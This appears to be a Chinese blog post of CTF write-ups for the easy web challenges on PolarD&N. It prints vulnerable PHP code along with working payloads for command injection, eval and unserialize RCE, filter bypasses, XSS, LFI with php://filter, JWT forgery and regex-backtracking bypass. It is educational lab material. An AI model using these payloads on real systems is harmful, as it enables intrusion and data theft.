PolarD&N web简单部分题解

$$

打开题目得到

 <?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}} 

对代码进行分析

<?php  
/*  
PolarD&N CTF
。  
*/  
  
// 将当前文件的内容以高亮形式输出到浏览器中,便于阅读  
highlight_file(__file__);  
// 关闭PHP的错误报告,隐藏潜在的错误信息  
error_reporting(0);   
  
// 包含可能包含flag的flag.php文件  
include "flag.php";  
  
// 从URL的查询字符串中获取名为'c'的参数值  
$a = $_GET['c'];  
  
// 检查是否设置了'c'参数  
if(isset($_GET['c'])){  
    // 使用preg_match来检查$a中是否包含特定的字符或模式  
    // 如果包含,则终止执行并输出"oh on!!!"  
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){  
        die("oh on!!!");  
    }  
      
    // 如果通过了验证,则使用eval执行PHP代码  
    // 注意:这里使用了变量变量
$$
a,它将尝试获取名为$a值的变量的值  
    // 然后,使用var_dump打印该变量的信息  
    // 这存在严重的安全风险,因为eval可以执行任意PHP代码  
    else{  
        eval("var_dump(
$$
a);");  
    }   
}  
  

?>

代码通过正则表达式来阻止直接获取flag,但仍然存在潜在的漏洞。由于eval函数的使用,只要能够绕过正则表达式验证,就可以执行任意的PHP代码。

绕过方法:

  • 注意到正则表达式中未包含字母(除了flag中的fl),因此攻击者可以尝试使用仅包含字母(除了fl)的变量名来绕过验证。

  • 假设flag.php文件中定义了一个全局变量(如$flag),攻击者可以尝试构造一个请求,如?c=GLOBALS。由于`aeval中会被解析为$GLOBALS,而$GLOBALS是一个包含了所有全局变量的数组,包括$flag(如果它存在的话)。 - 然后,攻击者可以通过某种方式(如利用PHP的内置函数或对象)来访问$GLOBALS['flag']的值。但是,由于var_dump只是打印变量的结构信息,并不直接显示flag的内容(除非flag是简单类型),因此攻击者可能需要进一步利用eval执行更复杂的代码来获取flag。 然而,在这个具体的例子中,由于var_dump的使用,直接通过?c=GLOBALS可能不会直接显示flag的内容。但这是一个潜在的漏洞,提醒我们避免在PHP代码中使用eval`,尤其是当涉及到用户输入时。

所以输入?c=GLOBALS后得到flag

爆破

打开题目得到一串代码

<?php
error_reporting(0);

if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?> 

对其进行的分析

<?php  
// 关闭错误报告,避免泄露敏感信息  
error_reporting(0);  
  
// 检查GET请求中是否存在'pass'参数  
if(isset($_GET['pass'])){  
    // 将'pass'参数的值进行MD5哈希处理  
    $pass = md5($_GET['pass']);  
      
    // 检查MD5哈希值的第2个字符(索引1,因为索引从0开始)是否等于第15个字符  
    // 同时也检查第15个字符是否等于第18个字符  
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){  
          
        // 如果上述条件满足,进一步计算:  
        // 第2个字符和第15个字符的ASCII值之和,加上第18个字符的ASCII值  
        // 然后除以第2个字符的ASCII值,结果是否等于第32个字符的ASCII值  
        // 注意:这里有一个逻辑错误,因为substr($pass, 17,1)的结果应该是一个字符,但被错误地作为除数(这通常不是预期的操作)  
        // 但按照字面意思理解,我们需要的是字符的ASCII值进行运算  
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+intval(substr($pass, 17,1)))/intval(substr($pass, 1,1))===intval(substr($pass, 31,1))){  
            // 如果上述复杂的条件满足,包含并打印'flag.php'文件中的$flag变量  
            include('flag.php');  
            echo $flag;  
        }  
    }  
}else{  
    // 如果没有提供'pass'参数,则高亮显示当前文件内容  
    highlight_file(__FILE__);  
}  
?>

由于所涉及到的数字无法猜想,所以根据内容来编写脚本

import hashlib

for i in range(1, 10000):

    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if md5[1] != md5[14] or md5[14] != md5[17]:
        continue

    if (ord(md5[1])) >= 48 and ord(md5[1]) <= 57 and (ord(md5[31])) >= 48 and ord(md5[31]) <= 57:

        if ((int(md5[1]) + int(md5[14]) + int(md5[17])) / int(md5[1]) == int(md5[31])):
            print(i)

得到422和1202两个数符合条件,get传参其中一个得到flag。

被黑掉的站

打开题目得到

没有线索,使用dirsearch扫一下目录,发现了/index.php.bak还有shell.php

们进去访问。发现.bak里面是一个字典,然后shell里面是一个登录界面,拿着这个字典去爆破试试:

得到flag

到底给不给flag呢

打开环境得到

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($qwq);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($QAQ);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo $flag;

发现有flag尝试提交发现错误,对代码进行分析

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />  
<?php  
// 高亮显示并输出文件1.txt的内容,可能用于展示一些提示或信息  
highlight_file('1.txt');  
echo "<br><br>";  
  
// 定义一个包含flag的变量  
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';  
  
// 定义两个字符串变量,用于后续的条件判断  
$qwq= '我想要flag';  
$QAQ = '我又不想要flag了,滚吧';  
  
// 检查是否通过GET或POST方法提交了'flag'参数  
// 如果没有提交,则输出$qwq变量的内容并退出脚本  
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
    exit($qwq);  
}  
  
// 如果通过POST或GET提交的'flag'参数的值等于'flag',则输出$QAQ变量的内容并退出脚本  
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){  
    exit($QAQ);  
}  
  
// 遍历POST请求中的所有参数,并将每个参数的值赋给对应的变量名  
// 例如,如果POST请求中包含'name=John',则$name将被赋值为'John'  
foreach ($_POST as $key => $value) {  
    $$key = $value;  
}  
  
// 遍历GET请求中的所有参数,但这里有一个潜在的安全问题  
// 它尝试将GET参数的值作为变量名,并将该变量名的值赋给当前遍历的变量  
// 这可能导致变量覆盖和潜在的安全漏洞  
// 例如,如果GET请求包含'flag=other_var&other_var=flag_value',则$flag将被覆盖为'flag_value'  
foreach ($_GET as $key => $value) {  
    $$key = $$value;  
}  
  
// 输出$flag变量的值  
// 注意:由于前面的GET参数处理逻辑,$flag的值可能会被覆盖  
echo $flag;  
?>

foreach()配合$$是个典型的变量覆盖漏洞,使用foreach()来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。abc=flag&flag=abc会被解释为$abc=$flag&$flag=$abc

所以get传参

?abc=flag&flag=abc

将页面拉到底部得到flag

浮生日记

打开web是一个搜索框,根据标题栏的提示“让我弹个窗康康”,可得知此题考点是XSS,需要使用JS弹窗,常见的payload是:

 <script>alert(1)</script>

点击写入日记,打开开发者模式然后查看写入的形式

1.需要闭合前面的单引号,而且这道题经过测试会把script、on、src、data、href等关键词替换为空。

2.考虑使用双写绕过,如“script”改为“scrscriptipt”,最后的payload如下:

"> <scrscriptipt>alert("yes")</scrscriptipt>

点击后出现flag

干正则

打开环境后发现是一串代码

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

对其进行分析

<?php  
// 关闭所有PHP错误报告  
error_reporting(0);  
  
// 检查是否通过GET请求传递了'id'参数  
if (empty($_GET['id'])) {  
    // 如果没有传递'id',则显示当前文件的源代码  
    show_source(__FILE__);  
    die(); // 终止脚本执行  
} else {  
    // 如果传递了'id',则包含'flag.php'文件(可能包含敏感信息)  
    include 'flag.php';  
      
    // 初始化变量$a和$result  
    $a = "www.baidu.com";  
    $result = "";  
      
    // 从GET请求中获取'id'参数  
    $id = $_GET['id'];  
      
    // 使用parse_str解析$id参数的内容,这会覆盖同名的局部变量  
    // 这是一个危险的做法,因为它允许用户输入覆盖变量  
    @parse_str($id);  
      
    // 由于parse_str可能修改了$a的值,这里打印修改后的$a的第一个字符  
    // 注意:如果'id'参数是精心构造的,这可能不是'w'  
    echo $a[0];  
      
    // 检查$a[0]是否等于'www.polarctf.com'  
    // 这是一个验证步骤,但由于parse_str可能改变$a的值,所以这可能被绕过  
    if ($a[0] == 'www.polarctf.com') {  
        // 如果验证通过,从GET请求中获取'cmd'参数  
        $ip = $_GET['cmd'];  
          
        // 检查'cmd'参数是否包含'flag.php',如果是,则终止执行  
        if (preg_match('/flag\.php/', $ip)) {  
            die("don't show flag!!!");  
        }  
          
        // 使用shell_exec执行ping命令,命令的构造依赖于$a[0]和$ip的值  
        // 由于$a[0]和$ip的值都来自用户输入,这里存在命令注入的风险  
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);  
          
        // 如果命令执行有输出,则打印输出  
        if ($result) {  
            echo "<pre>{$result}</pre>";  
        }  
    } else {  
        // 如果$a[0]不等于'www.polarctf.com',则显示提示信息并退出  
        exit('其实很简单!');  
    }  
}  
?>

所以输入

?id=a[0]=www.polarctf.com

发现页面就显示www.polarctf.com,说明验证时通过的

下来构造cmd

?id=a[0]=www.polarctf.com&cmd=|ls

发现显示的有flag.php证明方向是对的,但flag.php没办法查看,所以重新构造

?id=a[0]=www.polarctf.com&cmd=|cat `ls`;

然后查看源代码得到flag

简单rce

打开题目得到

 <?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

对其进行分析

<?php
highlight_file(__FILE__);    //对文件进行语法高亮显示

function no($txt){			//定义一个no函数,并传入变量txt
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){	                    //preg_match 函数用于执行一个正则表达式匹配
    return $txt;			//返回参数值
    }else{
		die("what's up");   //输出一条消息,并退出当前脚本
    }
}

$yyds=($_POST['yyds']);		//通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){  //通过GET方式传递参数sys;并判断
  eval(no($_GET['sys']));			//调用no函数,并输出
  }else{
    echo "nonono";					//输出nonono		
	}
?> 

绕过姿势

1. 命令执行函数

system() passthru() exec() shell_exec() popen()/proc_open()

2. 读取文件命令

more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看

3. 空格替代

<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1

方法一:使用未被过滤的命令

get传参

?sys=passthru('sort%09/flag');

post传参

yyds=666

得到flag{j6856fd063f0a04874311187da1191h6}

方法二:字符串转义绕过;适用PHP版本PHP>=7

以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”) 以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41") 以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串 URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符

get传参

?sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

POST传参

yyds=666

得到flag

蜜雪冰城吉警店

打开题目得到

先任意点击一个得到

点击第二个

下来再点击其他的发现都是一样的,题目要求点到第九个但就给了八个所以需要修改数值来达到目的 ,打开开发者模式

将任意的id改成9,返回后点击得到flag

签到

打开题目发现那个提交按键使用不了

打开开发者模式

发现含有disabled,将其删去,点击提交得到

将其复制进去发现文本框有字数限制,打开开发者模式,将

maxlength="9"中的9改为11,然后再删去disabled提交后得到flag。

签到题

打开题目得到

使用bp来看下

将cookie上的no改成成yes

得到Li9kYXRhL2luZGV4LnBocA ,发现是base64编码

解码后得到./data/index.php

将得到的输入可得

<?php  
// 关闭错误报告,通常不推荐在生产环境中这样做,但在某些情况下可能用于隐藏敏感信息  
error_reporting(0);  
  
// 从GET请求中获取'file'参数  
$file = $_GET['file'];  
  
// 如果没有设置'file'参数,则默认设置为'1'  
// 注意:这并不能防止安全问题,只是为了避免在没有参数时出错  
if(!isset($file)) {  
    $file = '1';  
}  
  
// 尝试移除文件名中的'../'来防止路径遍历,但这种方法是不充分的  
// 更好的做法是使用白名单验证文件名或使用realpath()函数  
$file = str_replace('../', '', $file);  
  
// 使用include_once来包含指定的PHP文件  
// 这是非常危险的,因为它允许攻击者通过修改URL来包含服务器上的任意文件  
include_once($file.".php");  
  
// 将当前文件的内容以高亮形式显示在页面上  
// 在生产环境中,这可能会暴露源代码,增加安全风险  
highlight_file(__FILE__);  
?>  
  

发现要绕过../并进行目录穿越。一开始以为是apache的目录穿越漏洞。但是后来发现可以直接用双写绕过。(而且apache那个漏洞没用)所以我先尝试了payload:

?file=..././index

发现回显了,说明方向没错。然后尝试了好久,找不到flag的位置。

然后想起了include会直接执行文件,所以就需要php伪协议来读取,最后的payload:

?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag

得到base64加密的字母,将其解密得到flag

召唤神龙

打开题目发现是一个游戏

尝试玩通关后得到flag

发现拿不到flag,只能另寻它法

打开控制台,发现F12不能使用,应该是被禁用掉了,使用Ctrl+shift+k(火狐浏览器)来打开控制台

里面都是js文件,找了一圈发现

将其复制放入控制台中解密

得到flag

cookie欺骗

打开环境发现只有admin用户才能得到flag

所以对网站进行抓包将cookie的值修改为admin,然后放包得到flag

cool

打开环境发现是一串代码

<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?> 

对其进行分析

<?php  
// 检查GET请求中是否存在'a'参数  
if(isset($_GET['a'])){  
    // 如果存在,将'a'参数的值赋给变量$a  
    $a = $_GET['a'];  
      
    // 检查变量$a是否为数字  
    if(is_numeric($a)){  
        // 如果是数字,则输出"no",这可能是为了防止直接执行数字作为代码(尽管在PHP中直接执行数字作为代码不会有影响,但这里可能是出于安全考虑)  
        echo "no";  
    }  
      
    // 使用正则表达式检查变量$a中是否不包含'flag'、'system'或'php'(不区分大小写)  
    // 这可能是为了防止执行包含这些关键字的恶意代码  
    if(!preg_match("/flag|system|php/i", $a)){  
        // 如果不包含上述关键字,则执行变量$a中的代码  
        // 这是一个非常危险的做法,因为它允许执行用户控制的代码,可能导致严重的安全问题  
        eval($a);  
    }  
}else{  
    // 如果GET请求中没有'a'参数,则高亮显示当前文件的内容  
    // 这可能用于调试或向用户展示源代码  
    highlight_file(__FILE__);  
}  
?>

所以我们构造payload:

?a=echo `ls`;

得到

flag.txt index.php index1.html

所以

?a=echo `cat fl\ag.txt`;

得到flag

Don't touch me

打开题目,上面显示

找吧,都在那里了

所以查看源代码得到

<!----./2.php-->

查看可得

打开开发者模式将disabled删除,然后点击查看源代码得到

<!--fla.php->-->

查看后得到flag

GET-POST

打开题目得到

 <?php 
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
    echo "干的漂亮";
    echo "<br/>";
    echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
    $jljcxy = $_POST['jljcxy'];
    if($jljcxy == 'flag'){
        echo $flag;
    }
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1干的漂亮

根据题目和代码可以知道

get传参?id=1

post传参jljcxy=flag

得到flag

jwt

根据题目可以知道涉及jwt,打开环境后得到页面需要登录, 随便注册一个账号都以123来输入,邮箱符合正确的格式就可以

注册完毕之后进行登录,进入个人中心

发现显示的是自己填的信息,猜测flag会在这里出现

使用bp进行抓包,发现jwt值

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.poUOOjFRTg6k0yM5RAxMd0QQrVO_afrwx1XcpSmHxVs

将其放入jwt在线网站查看

获得key值:SYSA

利用在线网站:JSON Web Tokens - jwt.io伪造jwt。填入得到的key,将username改为admin。

最后在注册用户登录成功的页面,利用Editthiscookie插件替换jwt,刷新即可。

刷新完成功以admin用户登录。

点击个人中心获得flag。

login

打开页面是登录的页面,查看源代码得到

20200101
20200101

输入进去的到登录成功后就什么也没了

将01给成02密码同样修改得到f

依次查询到后两位为11得到}

将查询到到的结果拼接在一起

得到:flag{dlcg}

php very nice

打开题目得到

 <?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
 unserialize($_GET['a']);
 ?> 

对其进行分析得到

<?php  
// 启用代码高亮显示当前文件的内容  
highlight_file(__FILE__);  
  
// 定义一个名为 Example 的类  
class Example  
{  
    // 定义一个公开的属性 $sys,并初始化为字符串 'Can you find the leak?'  
    public $sys='Can you find the leak?';  
  
    // 定义一个析构函数 __destruct  
    // 当对象被销毁时自动调用此函数  
    function __destruct(){  
        // 使用 eval 函数执行 $this->sys 中的代码  
        // 这里的 $this->sys 是从对象的属性中获取的,如果属性值被恶意修改,可能会导致代码执行漏洞  
        eval($this->sys);  
    }  
}  
  
// 使用 unserialize 函数反序列化通过 GET 请求参数 'a' 传递的数据  
// 如果传递的数据是恶意构造的序列化字符串,可能会触发上述的漏洞  
unserialize($_GET['a']);  
?>

所以构建

?a=O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

回显了flag.php,直接尝试跳转发现是空白页面,应该是被执行了

?a=O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

得到base64编码的字符串

PD9waHANCiRmbGFnPSdmbGFnezIwMmNiOTYyYWM1OTA3NWI5NjRiMDcxNTJkMjM0YjcwfSc7DQoNCj8+

将其解码得到flag

rce1

打开题目得到得到代码,对其分析

<?php  
  
// 初始化一个变量用于存储ping命令的结果,但这里的使用方式可能会引起混淆  
$res = FALSE;  
  
// 检查是否通过GET请求传递了ip参数,并且该参数不为空  
if (isset($_GET['ip']) && $_GET['ip']) {  
    // 从GET请求中获取ip参数的值  
    $ip = $_GET['ip'];  
      
    // 初始化一个数组用于preg_match_all,但实际上这个数组在这里可能并不需要  
    $m = [];  
      
    // 尝试匹配IP地址中的空格,但这不是验证IP地址的正确方法  
    // 如果未找到空格(即!preg_match_all返回0),则认为IP地址可能是有效的  
    if (!preg_match_all("/ /", $ip, $m)) {  
        // 构造ping命令  
        $cmd = "ping -c 4 {$ip}";  
          
        // 执行ping命令,并将输出存储在$res中  
        // 注意:这里$res的用途与其初始定义不符,因为它现在用于存储命令输出  
        exec($cmd, $res);  
    } else {  
        // 如果IP地址包含空格,将$m(实际上在这个逻辑中总是空的)赋给$res  
        // 这在实际应用中可能不是期望的行为  
        $res = $m;  
    }  
}  
  
// 注意:此代码片段的结束意味着$res变量现在可能包含ping命令的输出(如果执行了ping),  
// 或者如果IP地址包含空格,则包含空数组。这可能导致后续处理时的混淆。  
?>

ping -c 4 {$ip}这很熟悉了。我们尝试一下payload:

?ip=127.0.0.1|ls

是有回显的。而且尝试了一下用$IFS绕过空格也是可以的。但是题目的hint是:

就过滤了个空格,能拿到flag算我输

然后我尝试了直接用cat读取,发现是错的。发现env里面的flag是假的。然后再尝试一次读取。然后查看了源码找到了flag。payload:

?ip=127.0.0.1|cat%09f*
robots

根据题目可以知道是robots协议

所以输入robots.txt得到页面

User-agent: *
Disallow: /fl0g.php

将fl0g.php输入得到flag

seek flag

打开题目发现是文字叙述直接查看源代码

所以结合题目描述,使用bp来进行抓包

看到id=0,将其改为得到

得到flag1和2

来查看/robots.txt发现flag3

将其拼接得到flag

swp

打开题目得到

啥是swp文件勒?

  • 当用vim打开文件,但是终端异常退出时系统会产生一个.文件名swp的文件。

  • 当源文件被意外删除时,可以利用swp文件恢复源文件

 对其进行扫描

得到目录进行查看

对其进行分析

<?php  
  
// 定义一个名为 jiuzhe 的函数,用于检查字符串是否包含特定的正则表达式模式  
function jiuzhe($xdmtql) {  
    // 使用 preg_match 函数进行正则表达式匹配  
    // 正则表达式 '/sys.*nb/is' 的意思是匹配包含 'sys' 开头,后面跟任意字符(包括换行符),然后是 'nb' 的字符串  
    // i 修饰符表示不区分大小写,s 修饰符表示点号(.)可以匹配包括换行符在内的任何字符  
    return preg_match('/sys.*nb/is', $xdmtql);  
}  
  
// 从 POST 请求中获取 'xdmtql' 的值,并存储在 $xdmtql 变量中  
// 使用 @ 符号来抑制可能出现的错误或警告  
$xdmtql = @$_POST['xdmtql'];  
  
// 检查 $xdmtql 是否不是数组  
if (!is_array($xdmtql)) {  
    // 如果 $xdmtql 不是数组,则调用 jiuzhe 函数检查是否匹配正则表达式  
    if (!jiuzhe($xdmtql)) {  
        // 如果不匹配正则表达式,则检查是否包含字符串 'sys nb'  
        if (strpos($xdmtql, 'sys nb') !== false) {  
            // 如果包含 'sys nb' 字符串,则输出 'flag{*******}'  
            // 这里可能是一个挑战或测试的一部分,'*******' 可能是被隐藏的敏感或关键信息  
            echo 'flag{*******}';  
        } else {  
            // 如果不包含 'sys nb' 字符串,则输出 'true .swp file?'  
            // 这个输出可能是对某种文件类型或状态的提示  
            echo 'true .swp file?';  
        }  
    } else {  
        // 如果匹配正则表达式,则输出 'nijilenijile'  
        // 这个输出可能是对另一种状态的提示  
        echo 'nijilenijile';  
    }  
}  
  
// 如果 $xdmtql 是数组,则此代码段没有指定任何输出或处理逻辑  
// 在实际使用中,你可能需要添加对数组类型的处理逻辑  
  
?>

这段代码的重点是如何同时绕过pre_match和strpos函数,一个不让匹配到,一个又要匹配到。这里就涉及到一个回溯问题,就是pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用利用下面的代码进行回溯,让pre_match函数报错,绕过该函数,这样strpos函数就可以顺利的匹配到我们的字符串从而输出flag

import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('自己的网址', data=data, allow_redirects=False)
print(res.content)

XFF

打开题目,可知是XFF伪造

所以我们伪造IP

X-Forwarded-For: 1.1.1.1

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值